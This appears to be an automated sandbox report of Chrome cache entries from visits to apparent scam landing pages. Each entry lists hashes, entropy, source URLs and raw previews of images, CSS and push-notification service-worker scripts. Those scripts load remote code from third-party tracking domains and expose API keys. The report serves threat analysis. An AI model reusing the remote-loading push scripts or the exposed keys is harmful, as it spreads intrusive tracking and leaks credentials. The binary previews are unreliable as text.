Preview:	.PNG........IHDR.......<.......y....PLTE.....)w.'u....o.B.(((............<<<:::.........................CCC...B1;AAA111...QQQ.........MMM...+x333^^^rrr.........ooo..........7.GGG888999???///VVVAAA...aaabbb!!!iii,,,111.........ggg......!!!222$$$===...'''RRRiiiaaa\\\KKK!!!...LLL...UUU888sssGGG~~~...bbbKKKqqq..lll.........KKK....k........ttt..g.B.OOO444...**MMM...YYY111JJJJJJ222444OOOfff....W.sss'''ddd..GGG....k.rrr................sss....'pYYY..../u.Y..-x.o..T.)))eee.7.ttt.....R.....FFF.............+x..]]].:...000rrr..^..]....,y....c...h..p.B...c.b..L.zzz.[..(u.j........t...........E.....%%%555...E...H..U............8.....0z..W..E..c.....[..O..W.....^..."""........I..F..n..B000..S.4\|..:.T.~.'.......tRNS........"O"...../...^.......KIH,.......N:..............xrI;5+("...................wggd^]TGF?=8531.....................\|sqmib]YWMGC=0..................}rcY?4......................~usfeaUO#........wn.%W'....IDATh....W.Q....X.......R.....`wwwwwwww.I...wFP@.#.Q^.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 138 x 133, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	9862
Entropy (8bit):	7.974844598564267
Encrypted:	false
SSDEEP:	192:raNdDxEznC/5Zi927OFVynFYsqtPiv17hIWTG4sE1CWAIHa3yehCxEXdW6WKdhhu:OEoni4WynFzqtPi1uWnsE1C6ooxuQMhU
MD5:	96DE7278165F82601754FD6D5B84ADC4
SHA1:	8B05B2606FB419545011C03F6F59260F2AD56B6F
SHA-256:	C6C896E27FF1F1D6CB22CE652DCCA916946CE9F003BCB4FE30D1265FCB531A95
SHA-512:	B6211DC1E3A7B416EA10127D61A0125AD38C2EF968F16970580766C57D1BF48E679B0FA3946A2D9EFB20D15D6B31816217FFE29E5C78E6C321A304067853AECB
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/f_secure_1.png
Preview:	.PNG........IHDR.....................PLTE.........4..z.z.....:...................M.o..p..........p....d..O..(..2..W.....0..=..H.]..^...\|%..C..evp!.........."..E.....J.Q.......................................................................j.....)...........j......................................n...............NA.....................................L@...&.........B:.?4........Y.............y.&..yp.......{q...$................".....}v.\T....OG....sl.......eZ.41.......pd.....}..u............./(.jkj...XK........`565..........{.. ..{....``^>=>..&...H<.hb.;,...................(&......].t.qi....ib......ttut..iVE....TSS`S....a[..y.........f..=......./....eT......+zh....3........... ...........KKKRN...................SC5.FD.'&$N@.........]..%.._CBH.......z.......g.....s.....dGK1m.#....0tRNS.U..}.M.I.\A,u8#...ri............e.........n;-..#.IDATx..Y{\SU...G .e(\|.J.^.......-6.&..}.5...[..Ga.h..%.....`..........Q#DQD.K.25K...G...=>=........\|.9..=L........i.%

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=237, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=350], progressive, precision 8, 237x350, components 3
Category:	dropped
Size (bytes):	75733
Entropy (8bit):	7.888406989990254
Encrypted:	false
SSDEEP:	1536:Y5/ze5/zuTnn4wuoXMM0r8gb5LmV60qM0jKAUj1C07B+kkwszX:EzCzUnf/XBMMPqM1fj1C7kkJzX
MD5:	D2018427FD43E39DD957F9C6B005E3E2
SHA1:	E1FC22FF3DC15267B14DDBE590077C6293E5DB2B
SHA-256:	7F9DCA4494564E053A237A1DB7F5160881BCDAC9EFE4A16BECA0D03EB507F5AA
SHA-512:	C3D54E72680ECFB95DFBA263265231E4501CA6FCA68B28785EEC7481D782D1B8A94AA10597EB5301E027040A0ED49FCA675B3C910670D5E2D6286620823345B6
Malicious:	false
Reputation:	low
Preview:	.....ZExif..MM.*...............^.......................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:07:25 22:13:22............0231..................................^...............................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................l.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..1.&fU.'.....<j`......-..c.h.m...h...W.....h........C?...h.=...?.M?.>..~.....

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65350)
Category:	dropped
Size (bytes):	1196706
Entropy (8bit):	4.2942692242496445
Encrypted:	false
SSDEEP:	6144:9YompD57E8DjS2sDVW4oUchNV2Dnio/NULo9tRtKeDVs3O3seX/YJF2S8eK8wDKp:AD57EEhNwtRw53O3l0V
MD5:	5E29440867FDB02A48DFFDED02338C31
SHA1:	C8BFBBFCA7EB327E2E98CAF637D6DE05E5EE737A
SHA-256:	812AB0E46F86B2CE98AB2425AB2224B90D0845952A1AC0D5ABD734B6217E98BF
SHA-512:	4E7DA6D13229815C93CF3BE6C4B36EA9B4891F724FF239BE0B2DE1BC7AD6EE77530DC275C399818A4B2A0C16FC1A913692C92D16F0C1FF2919D260E9B198F6D3
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.!function(){"use strict";var c={},l={};try{"undefined"!=typeof window&&(c=window),"undefined"!=typeof document&&(l=document)}catch(c){}var h=(c.navigator\|\|{}).userAgent,a=void 0===h?"":h,z=c,v=l,m=(z.document,!!v.documentElement&&!!v.head&&"function"==typeof v.addEventListener&&v.createElement,~a.indexOf("MSIE")\|\|a.indexOf("Trident/"),"___FONT_AWESOME___"),e=function(){try{return!0}catch(c){return!1}}();var s=z\|\|{};s[m]\|\|(s[m]={}),s[m].styles\|\|(s[m].styles={}),s[m].hooks\|\|(s[m].hooks={}),s[m].shims\|\|(s[m].shims=[]);var t=s[m];function M(c,a){var l=(2<arguments.length&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,h=void 0!==l&&l,z=Object.keys(a).reduce(function(c,l){var h=a[l];return!!h.icon?c[h.iconName]=h.icon:c[l]=h,c},{});"function"!=typeof t.hooks.addPack\|\|h?t.styles[c]=function(z){for(var c=1;c

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8015)
Category:	downloaded
Size (bytes):	8016
Entropy (8bit):	5.215880611130132
Encrypted:	false
SSDEEP:	96:HH6prnCOdiIN9dQm696TpvYO5/D9AYbBZXgDeb72Iuy8K5gNlxKn30pIccR:HH6prnkqdT6idY0/pAqBVgDqVu/ZDpIJ
MD5:	3B5C309EFE5475677C59CA021C43A578
SHA1:	0DEBB9B4D8374836BE7EDC8A38B843853F46913A
SHA-256:	0DBC414C622CDB0E8ADBB4B8AF5E7DF5E87289FE02E8352FC064A00215AA1C1F
SHA-512:	140AD2BA02523609DE095C85577535A83A3B7FA6FBAF5B53ECC0AC0D9F8250B70818969CACC78EF41B58F6B751B7B7407EF489D359BE7F7164546ECA8BCEE873
Malicious:	false
Reputation:	low
URL:	https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url=duennasustentation.online
Preview:	(function(a,b){function c(a){try{console.log=E}catch(a){}E(a)}function d(a){if(self.indexedDB){var b=G.apply(self.indexedDB,["pushPlatFormDb",2]);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c.transaction(["store"],"readwrite"),e=d.objectStore("store");a(e)},b.onupgradeneeded=function(a){console.log("upgrading db from version "+a.oldVersion+" to 2");var c=b.result;if(2>a.oldVersion){var d=c.createObjectStore("store",{keyPath:"name"});k("",null,[],[],[],d)}}}else a(null)}function e(){try{Array=q,Array.prototype=q,Response=v,Response.prototype=x,Function.prototype.apply=H}catch(a){i("ext_ov_error",a,m)}}function f(a){return function(b){var f=!1;try{if(e(),"push"===b.type&&null!=b.data)try{let a=b.data.json();null!=a&&null!=a&&(f="iBb"in a)}catch(a){c(a)}else if("notificationclick"===b.type\|\|"notificationclose"===b.type)try{let a=b.notification.data;null!=a&&null!=a&&(f="iBb"in b.notification.data)}catch(a){c(a)}}catch(a){c("init_er

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2457
Entropy (8bit):	4.800952154310885
Encrypted:	false
SSDEEP:	48:cniEGPRVIAvpegBg6ZqqRELpVsDnRHZ1QnonQ02/JiOxIR:cxGPR+AvphqiRELpVEZQoQDJXx8
MD5:	47B660FF8AAE67DC04ED3D39ED5F9DCA
SHA1:	CF803A443EBBA836BB7506B36122CDF0DBDB79AB
SHA-256:	E095B91CC9A20149CEF660CD11B5EA0DFB7B13B511D2841913984BF78354740B
SHA-512:	FD6298D001042AE7528358FDB5D33B1A7389D3D7DFF187C4DCE3A6289691F5149C54FBE0CC305513616D77EF528C6A06B43132675A4C6DF51FB7E62D46E224EF
Malicious:	false
Reputation:	low
Preview:	function datehax() {.. var mydate = new Date().. mydate.setDate(mydate.getDate());.. var year = mydate.getYear().. if (year < 1000).. year += 1900.. var day = mydate.getDay().. var month = mydate.getMonth().. var daym = mydate.getDate().. if (daym < 10).. daym = "0" + daym.. var dayarray = Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");.. var montharray = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");.. .. //var dayarray = Array("dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi");.. //var montharray = new Array("janvier","f.vrier","mars","avril","mai","juin","juillet","aout","septembre","octobre","novembre","d.cembre");.. .. // var dayarray = new Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday").. // var montharray = new Array("Januari","Februari"

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 608 x 456, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	338620
Entropy (8bit):	7.985576840656591
Encrypted:	false
SSDEEP:	6144:rpgpMgQbB7AOBlVLqB8TwUEw0jrZwkUub/tRXK6tCmlU4Z6f:rGGlAMLx9YrZwkja6hlUUY
MD5:	6E047F220FE970FF12B5CCEE85E7C918
SHA1:	93F566F241225251868A735C050E1277719CD8E0
SHA-256:	80061EBCA538AFF7A21C854A8347278E265F439B1DF73726D87E5A8E07941F34
SHA-512:	114F708607CD2B40CB693C63880C391019285B0EFA5DEF66F00A5829CFBF07DDB5537E5D6420A569912E3D537FD9BED3C4600A114AD3DAF9E9511C99C32D2EEF
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/bg.png
Preview:	.PNG........IHDR...`.........f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-06-28T22:14:56+08:00" xmp:ModifyDate="2024-10-14T17:03:54+08:00" xmp:MetadataDate="2024-10-14T17:03:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:aab0244c-de85-4040-aba0-8119ad10e2c8" xmpMM:DocumentID="xmp.did:a977b8d4-4488-b54f-b959-d08dbb008732" xmpMM:OriginalDocumentID="xmp.did:a977b8d4-4488-b54f-b

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	10587
Entropy (8bit):	5.176945857092317
Encrypted:	false
SSDEEP:	96:tuwhrqulxwJnlVnNGbQwtt0GeG7do0f0KsJTv9alBKEey0az7Whdn/wieQhpVQ/C:9qVlVm7Lgv0lwEebaz4n/re5ohFqK
MD5:	134A373C9B1B3794B61B9EF49A6B69A2
SHA1:	62290A846F901B6682AD63EE3EA4085756F02F1F
SHA-256:	2CE7C20F09B5E2D16E967678056687BAF88F86BAA41F93C671FB81E39E763A3F
SHA-512:	C0D597AEA962F2CE0B715D8E15A4C7E0C508553C4A6C7F48A1C73BB9A1B906E2AB47FA6751ED1097AA24B07304F1F0022C87DE1768756D91FC2377B69667C6CB
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/assets/css/app.css
Preview:	.clear,..clearfix:after {..clear: both.}.a img,.img {..height: auto;..max-width: 100%.}.body {..margin: 0;..padding: 0;..font-family: Arial, sans-serif;..font-size: 15px.}.li,.ul {..list-style-type: none.}..left {..float: left.}..right {..float: right.}..clearfix:after,..clearfix:before {..content: " ";..display: table.}..alignRright {..float: right;..margin: 0 0 12px 15px.}..alignLeft,..float-left {..float: left.}..alignLeft {..margin: 0 15px 12px 0.}..alignCenter {..float: none!important;..margin: 0 auto;..display: block.}.a img,.img {..border: 0.}..text-left {..text-align: left.}..text-right {..text-align: right.}..text-center {..text-align: center.}..text-justify {..text-align: justify.}..config-errors h3 {..padding: 10px 0;..margin: 5px.}..config-errors ul {..padding: 0;..margin: 0.}..config-errors li {..padding: 10px;..margin: 5px;..background-color: #FCC;..border: 1px solid #C00;..color: #333;..font: 15px/20px arial, sans-serif.}..config-errors li strong {..float: right.}.input[

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11700)
Category:	downloaded
Size (bytes):	11701
Entropy (8bit):	5.285772190000325
Encrypted:	false
SSDEEP:	192:TBFlfrprnectg07AKE2H+6W/ed2orSibOinqbNE0vaUSJ5culHT+:TBXfrBeUXAKE2e/ed2orJOinqbNELUSE
MD5:	24E5A3449A7E2DDA29E74456407F65DB
SHA1:	3B835138BFCB624EF4F6BE722B9D695E1C70E86B
SHA-256:	9250A786E70F3254B6E9F8C9B5E85123699962BCE7073D409546E38F076B60B5
SHA-512:	C8ECF12A6FF5ABAE4249346CA31F9F91F807703378C2621AE9C415CBAE261A402B64A8805983036CBCE646D0B69726D94FE51F5FCF39A28BBBFC6A7CCFC7EC9B
Malicious:	false
Reputation:	low
URL:	https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url=duennasustentation.online
Preview:	'use strict';const env={log:!0,retry:10,sleepTime:1e4,domain:"push.secureanalytic.com",notificationDomain:"notification.secureanalytic.com",subscriptionDomain:"subscription.secureanalytic.com",eventDomain:"event.secureanalytic.com"},applicationServerPublicKey="BOp8lz_EcG1AB_M8i-BT4rBuTU8YzmpM04Hr6i1ucs878o4iPLGZA9SjG2ishXgueCeF_4DkiJpL4o8Clj7Tk5M=",siteId="64d519qjgj",smClientId="64d5p99gj0",version=533,smAPIKey="87e99772e7d94df197c5677835d9135e";let smPushSubscriptionId;function getStore(a){if(self.indexedDB){var b=self.indexedDB.open("pushPlatFormDb",2);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c.transaction(["store"],"readwrite"),e=d.objectStore("store");a(e)},b.onupgradeneeded=function(a){console.log("upgrading db from version "+a.oldVersion+" to 2");var c=b.result;if(2>a.oldVersion){var d=c.createObjectStore("store",{keyPath:"name"});setUserDataInStore("",null,[],[],[],d)}}}else a(null)}function arrayRotate(a,b){return b?

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 437 x 500, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	70023
Entropy (8bit):	7.9945938144995745
Encrypted:	true
SSDEEP:	1536:pDTeBByEO0VRm+SB/o5LQasR2M7AXmaa7Qt8Ti0UI1CUQVPRxIWCE5:pDTe3OuUxa87+feTaI8jh5
MD5:	F2BD1F340064D10CDCE2B38A942E827D
SHA1:	80763E03F1FADAE8D162E742E58112E073C3FD1F
SHA-256:	468AA5F3AC76FEE99B9D93D3922FC0876FC82A331764DD3B21F6A83BA519314B
SHA-512:	6D49DCECB7C78B5FEA19C3F2D5B04B4BF47414704DB43425F0BA4EA5AB22AE27DF2C4C8522BCE37E373659BBDDF385E37E4B45E3EE812CADBAC4285854E3C7E6
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/dynamic_lander_images/1720460577_1715789481_Dewalt%20Drill.png
Preview:	.PNG........IHDR..............pC&....PLTE..........................................kkj...ttr..\\Z~~{MMI......eed.......@?>........UUS....887......j......CCC.... .??A...::<!" ......GGG...$%#''(......777333,,==<...TS\KKKQPXZYc11.HGMKIQWV_--/PPODCJNMU.../1&89.STSA@G+,%56-')#XXV...45(65<;=/DE:.."..@.-)(/[[[___..F;<6..>AB5!!'>?3&'.328ffeIJ>wwysrtaac..@..;nmqkkj+,./.6..<]\h..Y.....A././.........cbj\|\|}.;.'......POC..7.6..0.....L..L..J:8E...!hgo..E..P.+..k..Z.,.......4.....2#!......K.....G..KG;.1%......f.7..2.....`..Y.+..O.JYI .gW(_XB.H..A..@;1......Q.s........C.z>yj0....7.....N..B.....T....B.9..`.(.\x]#.....T..PZP4OD...:rfE...na6}qB..I...e_O........a..\TVj..2V;......wC)..._.xP,...!..9KJ^..Y..5.e#mK...x..cqjY.q&srlA?S....K..\...h.......zc....s..G..v.........................&tRNS...%^p3PB...........c...................IDATx.....A...j..`"."^*.....}.@.dj..Q....r..."/...D....q..K ...E.N...I....._._^..././^....Z..4..ytG'...jT....n.._epa.YD9.BK1..

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8139)
Category:	downloaded
Size (bytes):	8140
Entropy (8bit):	5.234125860835687
Encrypted:	false
SSDEEP:	192:TxGUIwUcWTOZBdEhC+eydsdof+4Wd/si4E+wC/Hhdk/yMJV4pHn6my+wg:TxG/wUpTSdQWydsdorWdkit8BdLMY96k
MD5:	524158F9509C6B9E13BF6C641CE4CD33
SHA1:	FA85580F235946E67B1ABC7034C111A0E5A3F7AE
SHA-256:	534109BEDC5D6392768828618A345121A289FCECC5872696CF08F7B9EE3487DC
SHA-512:	253E5B2043A0F8E02D6A807A9C222D77AEAE41D2E1F961388419BFB2FC415446F8A1C9A112AA43A47F86F2C90CFCBC30721B8B51516CE029538F7494A1262BD5
Malicious:	false
Reputation:	low
URL:	https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=duennasustentation.online
Preview:	'use strict';const smPushApplicationServerPublicKey="BOp8lz_EcG1AB_M8i-BT4rBuTU8YzmpM04Hr6i1ucs878o4iPLGZA9SjG2ishXgueCeF_4DkiJpL4o8Clj7Tk5M=",smPushSiteId="64d519qjgj",smClientId="64d5p99gj0",serviceWorker="/service-worker.js";let smPushDomain="push.trk-quantivex.com",pushLogging=!0;const version=818;let smPushSubscriptionId,subscriptionDomain="subscription.trk-quantivex.com",eventDomain="event.trk-quantivex.com",sessionId="";const utmObj={mt:"",utm_source:"",utm_medium:"",utm_campaign:"",source_one:"",source_two:"",source_three:"",source_four:"",source_five:"",first_name:"",last_name:"",email:"",email_md5:"",zip_code:"",gender:"",age:""},taboolaUrl="https://api.taboola.com/2.0/json/smpush-general/user.sync?app.type=web&app.apikey=dd83e155339c3c4626a1a3e8465b50db3024b412";function urlBase64ToUint8Array(a){const b="=".repeat((4-a.length%4)%4),c=(a+b).replace(/\-/g,"+").replace(/_/g,"/"),d=window.atob(c),e=new Uint8Array(d.length);for(let b=0;b<d.length;++b)e[b]=d.charCodeAt(b);return e

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1081
Entropy (8bit):	4.9085727559861985
Encrypted:	false
SSDEEP:	24:QD/y7eYEZf2evM8EWKJzbz5MXozLXzv3z+GzR:QefEZf/f8XS0LjL+uR
MD5:	1686E79320E453DA9D8B560514FCA546
SHA1:	C24936E96E7E3B7727DAD1D0DD9867B0F41E3D02
SHA-256:	09BF7F1826F39E2F297C3F1EBA65B5A44E78E015B5C729D96B70C93C4FAD12CA
SHA-512:	B069DCCC7BB50D7A744B58E2E9DE190CFF39708EB6CE04811809374DF6DEDBA469635667629D09EE50A2190B4C61D3DF15EC3F6EB7C0D43E588E2807FB483F58
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/css02/common.css
Preview:	form {. padding: 0 !important;.}.input.has-error,.select.has-error {. background: url(../images/error-input.png) 99.5% 50% no-repeat #fff !important;. border: 1px solid orange !important;.}.input.no-error,.select.no-error {. background: url(../images/tick-input.png) 99.5% 50% no-repeat #fff !important;. border: 1px solid green !important;.}.#app_common_modal_close,.#error_handler_overlay_close {. line-height: 26px !important;.}..form-control::placeholder {. color: #0c0c0c !important;. font-size: 14px;.}..form-control::-webkit-input-placeholder {. color: #0c0c0c !important;. font-size: 14px;.}./* WebKit, Blink, Edge /..form-control:-moz-placeholder {. color: #0c0c0c !important;. font-size: 14px;.}./ Mozilla Firefox 4 to 18 /..form-control::-moz-placeholder {. color: #0c0c0c !important;. font-size: 14px;.}./ Mozilla Firefox 19+ /..form-control:-ms-input-placeholder {. color: #0c0c0c !important;. font-size: 14px;.}./ Internet Explorer

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=642, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=640], progressive, precision 8, 150x150, components 3
Category:	downloaded
Size (bytes):	37344
Entropy (8bit):	7.703273435202607
Encrypted:	false
SSDEEP:	768:MvchzCU271vchzCUw6jj+EcMwBM/RK1HakjXgZT:GozLqozLrjjHfwoQ1HQZT
MD5:	F12A76E3067BC5D072D9A50BC5CB4AE3
SHA1:	58DF38CD5591F132E5BB16207601F1FD3C69F98F
SHA-256:	63AEC2631EE77FDB2CCF7C41E0E952E25940FD52211AEDD73280FCC0AC3EA3F7
SHA-512:	CFABFD02F68DF3C26951DC145F6EA9549013B4B2415A4887D80C94C636F281B8456C74F5BD9B9571D8055807D9DE5E21C42AD1F103BA0114EABE02D99DDF3AB9
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/4.jpg
Preview:	.....XExif..MM........................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:18:39............0231...................................................................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..4._.}..I...h...z.,..!.hPjlV...7.:1..6../Z..i..,,GQ...........`.r..5.3n.J....

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 437 x 500, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	70023
Entropy (8bit):	7.9945938144995745
Encrypted:	true
SSDEEP:	1536:pDTeBByEO0VRm+SB/o5LQasR2M7AXmaa7Qt8Ti0UI1CUQVPRxIWCE5:pDTe3OuUxa87+feTaI8jh5
MD5:	F2BD1F340064D10CDCE2B38A942E827D
SHA1:	80763E03F1FADAE8D162E742E58112E073C3FD1F
SHA-256:	468AA5F3AC76FEE99B9D93D3922FC0876FC82A331764DD3B21F6A83BA519314B
SHA-512:	6D49DCECB7C78B5FEA19C3F2D5B04B4BF47414704DB43425F0BA4EA5AB22AE27DF2C4C8522BCE37E373659BBDDF385E37E4B45E3EE812CADBAC4285854E3C7E6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............pC&....PLTE..........................................kkj...ttr..\\Z~~{MMI......eed.......@?>........UUS....887......j......CCC.... .??A...::<!" ......GGG...$%#''(......777333,,==<...TS\KKKQPXZYc11.HGMKIQWV_--/PPODCJNMU.../1&89.STSA@G+,%56-')#XXV...45(65<;=/DE:.."..@.-)(/[[[___..F;<6..>AB5!!'>?3&'.328ffeIJ>wwysrtaac..@..;nmqkkj+,./.6..<]\h..Y.....A././.........cbj\|\|}.;.'......POC..7.6..0.....L..L..J:8E...!hgo..E..P.+..k..Z.,.......4.....2#!......K.....G..KG;.1%......f.7..2.....`..Y.+..O.JYI .gW(_XB.H..A..@;1......Q.s........C.z>yj0....7.....N..B.....T....B.9..`.(.\x]#.....T..PZP4OD...:rfE...na6}qB..I...e_O........a..\TVj..2V;......wC)..._.xP,...!..9KJ^..Y..5.e#mK...x..cqjY.q&srlA?S....K..\...h.......zc....s..G..v.........................&tRNS...%^p3PB...........c...................IDATx.....A...j..`"."^*.....}.@.dj..Q....r..."/...D....q..K ...E.N...I....._._^..././^....Z..4..ytG'...jT....n.._epa.YD9.BK1..

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271
Entropy (8bit):	5.015477567749327
Encrypted:	false
SSDEEP:	6:C3+nSHQYO0QrGv6uReNGkRUGdchiwiiJSGv6uROhM7UAGLchie:Fn0QlVrGvz8GkRUGdqbJSGvz6M7U3g
MD5:	990C3E946C9AB8FED7040C1EE564F4FB
SHA1:	6B108B4306C79602CA40C615A5BC268308CCCEF6
SHA-256:	3FF0A5492A6C6A7DC15B3044C600650C25B58D7A4D22CDCE98879AB01494A643
SHA-512:	8F1D8B4A027A07BD7B42A3AA350FFB26F3275BA86B20A796D1D9BC6F256786ADE456B103FCECE303524D75D9BB232EDD761D7837981193CE6D94343D648039DD
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/service-worker.js
Preview:	if (typeof window === "undefined") {. importScripts('https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url='+encodeURI(self.location.hostname));. }. importScripts("https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url="+encodeURI(self.location.hostname));

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	954
Entropy (8bit):	4.718280536945373
Encrypted:	false
SSDEEP:	12:VfJkkbAzfJvbEDEbr15/Zhl4Ha/ZzEXcE3MoyfJfbPFJfJkkbo1/Z7E0N/FBLGlH:VrexZra2EXRByhPz7YhGO0hZ
MD5:	798FE41779904F78926C3A873D1653D6
SHA1:	23A09FE990C9047CF7945392E6C76D9611B5449B
SHA-256:	7110A77380BB42A3443C4B7BDBB5DBA52B6F0269C36017E15DBEFE181A6B70FB
SHA-512:	E2E4B2A0DFAFA0FDA1657798663C9A82812275F15A5F191104995139D6EC9585648FE7093C3C7B61E143D7FA9E255A32176101B3475FFE953569D2F38F12DEED
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/css/popup.css
Preview:	#app_common_modal .app_modal_body iframe {.. min-height: 344px;..}..#app_common_modal .app_modal_body {.. min-height: auto;.. margin: auto;.. top: 50%;.. transform: translateY(-50%);..}..#app_common_modal,..#error_handler_overlay {.. overflow-y: hidden !important;..}..#app_common_modal_close,..#error_handler_overlay_close {.. line-height: 26px;..}..@media only screen and (min-device-width : 320px) and (max-device-width : 991px) and (orientation : landscape) {.. #app_common_modal .app_modal_body {.. min-height: 280px;.. }.. #app_common_modal .app_modal_body iframe {.. min-height: 242px;.. }.. #error_handler_overlay .error_handler_body ul {.. padding: 0;.. margin: 0;.. height: 200px;.. overflow-y: scroll;.. }..}..@media screen and (max-device-width : 767px) {.. #error_handler_overlay .error_handler_body ul {.. padding: 0;.. margin: 0;.. }..}..

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (390), with CRLF line terminators
Category:	downloaded
Size (bytes):	40873
Entropy (8bit):	3.8241844680189336
Encrypted:	false
SSDEEP:	384:wrB/aYw4eUqNVtY28O5/SRFvuuchgForSyRs5KEH/nLkp79s:cB/aR4eUqNVtXRSRBjI9Rw/4p79s
MD5:	E60C2A82A865B8D1D67EFE617E462060
SHA1:	9E12EC9F72242FA8AC2F4E06C8A505BEF229A687
SHA-256:	1F40091C91D3DD8867706E0A470BEB22D762397F4D6FEE1A24DA8E816117E842
SHA-512:	3CA4074170A69A88D1296034289D22C7A9AB66A43A8A4D18EC75117B88FE55E8C164C958D53514583837EC38A965B0A367BA56344DCD94D8488E92F67B5B931D
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com
